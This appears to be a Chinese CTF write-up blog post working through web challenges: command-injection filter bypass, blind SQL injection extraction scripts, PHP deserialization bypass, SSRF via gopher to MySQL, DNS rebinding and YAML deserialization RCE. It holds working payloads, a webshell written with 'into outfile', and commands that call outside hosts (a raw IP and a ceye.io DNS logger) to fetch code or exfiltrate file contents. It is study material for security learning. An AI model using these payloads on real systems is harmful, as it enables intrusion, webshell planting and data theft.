web_checkin <?php highlight_file(__FILE__ ); $filter = '/#|`| |[\x0a]|ls|rm|sleep|sh|bash|grep|nc|ping|curl|cat|tac|od|more|less|nl|vi|unique|head|tail|sort|rev|string|find|\$|\(\|\)|\[|\]|\{|\}|\>|\<|\?|\'|"|\*|;|\||&|\/|\\\\/is' ; $cmd = $_POST['cmd' ]; if (!preg_match($filter, $cmd)){ system($cmd."echo 'hi~'" ); }else { die ("???" ); } ?> hi~
正则
看了看是命令执行! 但是过滤了很多!
还可以用cut 脑子就折磨多了! 大佬是file! 学习学习! %09绕过空格
列目录 可以列目录的命令有:
ls dir vdir ls . 当前目录 ..上级目录 cd -返回上一次目录 dir . vdir . dir%09.%09 vdir%09.%09 F14g_1s_h4rehaha.php
整理 Linux下列出目录内容的命令
注意两个空格
读文件 Linux shell cut命令
cut -d 1-1000 /flag cut%09-d%091-1000%09/flag%09
sed -n p /flag sed%09-n%09p%09/flag%09 sed -n p /flag 打印 flag文件的第1行 2p 第二行
Linux下Sed命令的用法
file -f /flag file%09-f%09/flag
linux下file 命令
linux shell 的 浅谈 Linux 下 file 的六种应用实例
实例四:查看文件中的文件名的文件信息 cat hello.txt sunset.jpg file -f hello.txt sunset.jpg: JPEG image data, JFIF standard 1.01 看完这个才懂! 🙄🙄🙄
考点 :命令执行
考察liunx命令的广度了!😁
Hard_sql 是sql注入!
先拿sqlmap跑一下! 看看能不能跑出注入点!
可以发现他的注入点在 id哪里
过滤了很多! information select union
if (preg_match('/union|like|=|<|>|limit|pad|and|or|\||\&|\^|\+|-|regexp|repeat|substr|mid|sleep|benchmark|get_lock|count|case|if|elt|field|;| |\/|file|order|sys/is' , $s)){ die ("bad hacker!" ); }
ctf 一般常考 mysql | pgsql
1*1%09%23 pow(1,1) 空格用() | %09 = 用 in 或 like select (1*1)in(2); select (1*1)like(2);
这个16进制编码有点晕! 数据库 可以直接 0x 替换! php里可以 直接\00 代表16进制、
python里:
information 过滤了 但是 mysql是 大于5.7版本 可以用sys 但是 sys过滤了! 再找找 此时可以通过innodb引擎进行注入,在Mysql 5.6以上的版本中,在系统Mysql库中存在两张与innodb相关的表:innodb_table_stats和innodb_index_stats。
聊一聊bypass information_schema
还有一点:
exp1 先贴大佬1的exp:
脚本:
import requestsproxy = '127.0.0.1:8080' proxies = { 'http' : 'http://' + proxy, 'https' : 'https://' + proxy, } def my_hex (s ): s_hex='' for i in range(len(s)): s_hex=s_hex+hex(ord(s[i]))[2 :] return s_hex burp0_url = "http://70cb1d5c-18e4-4ad9-ab04-d4c33bbd8fd7.ctf.moonback.xyz:8001/login.php" s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-+$~`^#.@_,{}()' flag='' for i in range(1 ,1000 ): f=flag for j in s: burp0_data = {"username" : "admin" , "password" : "admin" , "id" : "(hex(left((select*from(flagishere.flag)),{}))in('{}'))" .format(str(i),my_hex(flag+j))} r = requests.post(burp0_url, data=burp0_data, proxies=proxies ) print(i,j) if 'username or password error!' in r.text: flag+=j print(flag) break if flag==f: break print(flag)
exp2 id是1的时候有回显
INSTR
函数接受两个参数:
str
是要搜索的字符串。
substr
是要搜索的子字符串。
FIND_IN_SET()
函数接受两个参数:
第一个参数needle
是要查找的字符串。
第二个参数haystack
是要搜索的逗号分隔的字符串列表。
、
官方:
import requestsimport stringimport sysburp0_url = "http://665c605a-d01c-45b1-b75b-362106c7be63.ctf.moonback.xyz:8001/login.php" burp0_cookies = {"PHPSESSID" : "26c3e9b6d7be65ba5018047f64270051" } burp0_headers = {"User-Agent" : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0" , "Accept" : "*/*" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Content-Type" : "application/x-www-form-urlencoded" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : "http://localhost:33443" , "Connection" : "close" , "Referer" : "http://localhost:33443/" } dic = string.ascii_letters + string.digits + '_!@#$%^&*{}-' flag = '' for i in range(1 , 100 ): print(i) for j in dic: burp0_data = {"id" : "FIND_IN_SET(concat('flag{93750b65',char(45),'de8e',char(45),'41df',char(45)," +"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))" .format(flag+j, i+24 ), "username" :"asdf" ,"password" : "asdf" } burp0_data = {"id" : "FIND_IN_SET(concat('flag{93750b65',char(45),'de8e',char(45),'41df',char(45),'b545',char(45)," +"'{}'),left(replace((select\t*\tfrom\tflagishere.flag),',',''),{}))" .format(flag+j, i+29 ), "username" :"asdf" ,"password" : "asdf" } s = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data).text print(s) print(burp0_data) if 'password' in s: flag += j print(flag) break if j == '-' : sys.exit()
总结: sql注入 思路更多了! 常用的分流函数被过滤了;就去找找其他的!还是经验太少了!
测试整型注入!
额外的Xpath注入 4.12. Xpath注入
tnl 感觉好难啊!!!
原理就是那个原理! 但是就是好难!
ezpass 算了算了
还是回来打ctf把! 挖屁屁洞! 被打爆了!😫😫😫
<?php Class Welcome { public $cmd; private $admin; public function __construct ( ) { $this ->admin = 'guest' ; } public function backdoor ( ) { eval ($this ->cmd); } public function __destruct ( ) { if ($this ->admin === 'guest' ){ $this ->cmd = 'echo "<hr>Welcome to JDBCTF 2020!";' ; $this ->backdoor(); }else if ($this ->admin === 'jdb' && check_cmd($_POST['cmd' ])){ $this ->cmd = $_POST['cmd' ]; $this ->backdoor(); }else if ($this ->admin === 'info' ){ $this ->cmd = 'phpinfo();' ; $this ->backdoor(); } } } $w = new Welcome(); if (!isset ($_POST['data' ])){ die (); } $data = $_POST['data' ]; if (check_data($data)){ unserialize($data); } Welcome to JDBCTF 2020 !
这篇文章考了很多php反序列化的小trick
记录下
<?php error_reporting(0 ); Class Welcome { public $cmd; private $admin='jdb' ; } $w = new WeLcome(); $a = serialize($w); $a=str_replace('s:14:"' .chr(0 ).'Welcome' .chr(0 ).'admin' ,'S:14:"\00\57\65\6c\63\6f\6d\65\00\61\64\6d\69\6e' ,$a); $a=str_replace('s:3:"cmd"' ,'S:3:"\63\6d\64"' ,$a); $a=str_replace('s:4:"info"' ,'S:4:"\69\6e\66\6f"' ,$a); $a=str_replace(':3:"jdb"' ,'S:3:"\6a\64\62"' ,$a); $a=str_replace('O:7:"Welcome"' ,'O:+7:"Welcome"' ,$a);$a=str_replace('{' ,'[' ,$a);$a=str_replace('}' ,']' ,$a); echo $a;
对于这里的16进制编码确实脑壳疼!记住这种格式是可以的!
如果过滤字符 可以用 大写S + 16进制 如果调试字符串 {} 可以替换成 [] () 过滤/O:\d:/这种形式的字符串,php在反序列化时也会正常反序列化/O:\+\d:/这种形式,即在O:后添加一个+,注意用burp post提交的时候要urlencode一下: 就是加上 + 号 记住记住! 🙄🙄🙄
我又熟悉了下浏览器的编码规则!
他会把你的数据url编码的方式发送! 我门抓包的时候都可以看到
当我们输入 1’的时候 浏览器会自动url编码!
get和post是一样的!
可是当我们 直接 输入url编码的时候:
输1%27的时候 他不会再一次url编码 传输的还是1%27
可以看到 发送的 编码后的数据! 可以之前编码过的就不在编码了!😁😁
tcl 所以记一下!
因为两次url编码绕过还不知道原理!
看了php是5.6.40
cmd 里 过滤了:php $ ; <script> () ' " language<
<script language='php'></script> <scRipt language='php'></scRipt> <scRipt language=Php>echo 1</scRipt>
因为()过滤了! 想一般函数都用不了!
include 可以用
学到了!
PHP创建多行字符串
PHP中的多行字符串
官方是可以通过Include
文件包含session来RCE
这!!! 看一看哈:
又忘了:php还有其他语言里 “”里可以执行变量和转义!
我说为啥 单引号不行!
<?php echo urlencode('a\na'); a%5Cna echo urlencode("a\na"); a%0Aa
哎呀tcl! 老是有小问题!😥😥😥
太猛了!大佬🤗🤗🤗
\r|\t|\n讲解
先看反弹shell 简单一点
?><scRipt%09Language=Php>echo%091</scRipt> ?><scRipt%0aLanguage=Php>echo%0a1</scRipt> ?><?php echo 2;echo 1?> 这是可以执行的! php里最好一句语句可以不加分号! `curl%09` 啊啊啊啊测试的时候发现:<?一起的时候被过滤了!大佬太精了😥😥😥
?><?php eval("`dir`?>");?> 直接 `curl%098.131.72.215/1.txt`?> 后门必须要有; 只要不是php最后一句都要有; 因为这里;被办了! 直接用?> 闭合整个代码! `curl%098.131.72.215/1.txt`?> cat /* | grep flag
linux下反弹shell
反弹shell
那个官方的啊!!!!
哭了!🙄🙄🙄
ssrf 这个题! dns rebind
😥😥😥
端口说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最为广泛。 通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。
测试的时候有点问题! dns没弄好! 直接看ssrf打mysql把把
select '<?=@eval($_POST[1]);' into outfile '/var/www/html/log/1.php'; select '<?=@eval($_POST[1]);' into outfile '/var/www/html/1.php'; gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%3d%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6c%6f%67%2f%31%2e%70%68%70%27%3b%01%00%00%00%01
我看大佬
发现大佬把后面的又一次加密了! 细节😀
写到/var/www/html/log命令下
/index.php?url=gopher://rebind.gtfly.top:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2546%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%253d%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%256c%256f%2567%252f%2531%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501&start=on
会了会了!
大佬指点了下!
https://www.gem-love.com/websecurity/2733.html
看了师傅的文章!懂了!
简单说就是 让dns解析到127.0.0.1!
怎么解析呢!一般dns解析是服务器的ip! 当你设置成127.0.0.1时!他是可以直接解析的!
很多时候 DNS 重绑是先过 check 然后重绑到 127.0.0.1 来 SSRF。本题目的 SSRF 和常规 SSRF 的套路一致,但不能重绑到 127.0.0.1,因为本地是 80 端口,但是 check() 并不允许访问 80 端口;所以我们可以让它解析到攻击者的 ip 并且是非 80/8080 端口,当访问到攻击者时,利用 302 跳转到 http://127.0.0.1:80/flag,request 会默认 follow 这个 302 重定向,即可 SSRF 成功。
这里我们就用
把start= 爆出ip
Bad ip 62.234.60.226! We've recorded your actions at fd40c7f4125a9b9ff1a4e75d293e3080/log.txt!
当然也可以直接信息收集!🙂
https://requestrepo.com/#/dns-settings
在网站上进行dns重载
就是让他一会是62.234.60.226 一会是127.0.0.1
bp跑! 和条件竞争一样!
一直跑!
就ok!后面是ssrf打mysql!
python body { background-image:url("get_image?img=bg.png") }
发现可以目录遍历!
但是过滤了 。。
和 py
fuzz一下! 发现目录/proc/self/cwd
过滤了 py
目录存在是 500
不存在"image does not exists"
然后测试一下: __pycache__
然后:
get_image?img=/proc/self/cwd/__pycache__/app.cpython-35.pyc
这里可以从响应头中得知python版本:
Server: Werkzeug/1.0.1 Python/3.5.2
那么可以尝试去读
感觉就是 大佬经验太丰富了! 还是看的太少!练的太少!
其实 和 php的站没啥区别!多看看!
from flask import redirect, Flask, render_template, request, abortfrom flask import url_for, send_from_directory, send_file, make_response, Response, jsonifyimport base64, json, yaml, osapp = Flask(__name__) class Name : def __init__ (self ): pass @staticmethod def from_configuration (config ): return Name(**yaml.load(config, Loader=yaml.Loader)) def waf (name ): if '..' in name: return -1 elif name[-2 :] == 'py' : return -2 else : return 0 @app.route('/', methods=['GET', 'POST']) def index (): return render_template('index.html' , out='Welcome to enter!' , is_value=0 ) @app.route('/get_image') def get_image (): filename = request.args.get('img' ) if waf(filename) == -1 : return jsonify('directory traversal forbidden!' ) if waf(filename) == -2 : return jsonify('reading forbidden!' ) imgPath = os.path.join('/app' , 'static' , filename) if not os.path.exists(imgPath): return jsonify('image does not exists' ) return send_file(imgPath, mimetype='image/png' ) @app.route('/set', methods=['GET', 'POST']) def set (): if request.method == 'POST' : if 'name' in request.form: name = request.form['name' ] if 'config' in request.form: result = Name.from_configuration(request.form['config' ]) return make_response(render_template('index.html' , result=result), 200 ) return make_response(render_template('index.html' , out='Welcome,' + name, is_value=1 ), 200 ) else : return make_response(render_template('setting.html' ), 200 )
命令盲注! ls /|sed -n 2p 拿bp跑一下
config=!!python/object/apply:os.system ["ping cat /Da4ger_Py_!.txt.tmqmeu.ceye.io"]
用下面的方法快!
config=!!python/object/apply:os.system ["ping `ls > /tmp/1.txt`.tmqmeu.ceye.io"]
wget http://7ce87f86-0504-4928-bbe7-ccf95cdbad23.ctf.moonback.xyz:8001/get_image?img=/tmp/2.txt
config=!!python/object/apply:os.system ["curl cat /* > /tmp/4.txt.tmqmeu.ceye.io"]
用 ping
还是 curl
host
都行
config=!!python/object/apply:os.system ["host cat /* > /tmp/6.txt.tmqmeu.ceye.io"]
看到一些好的文章: 0x00:基本介绍 0x01:html实体编码 0x02:新增的实体编码 实体编码变异以及浏览器的某些工作原理! 0x03:javascript编码 0x04:base64编码
xss
编码这东西有点难理解!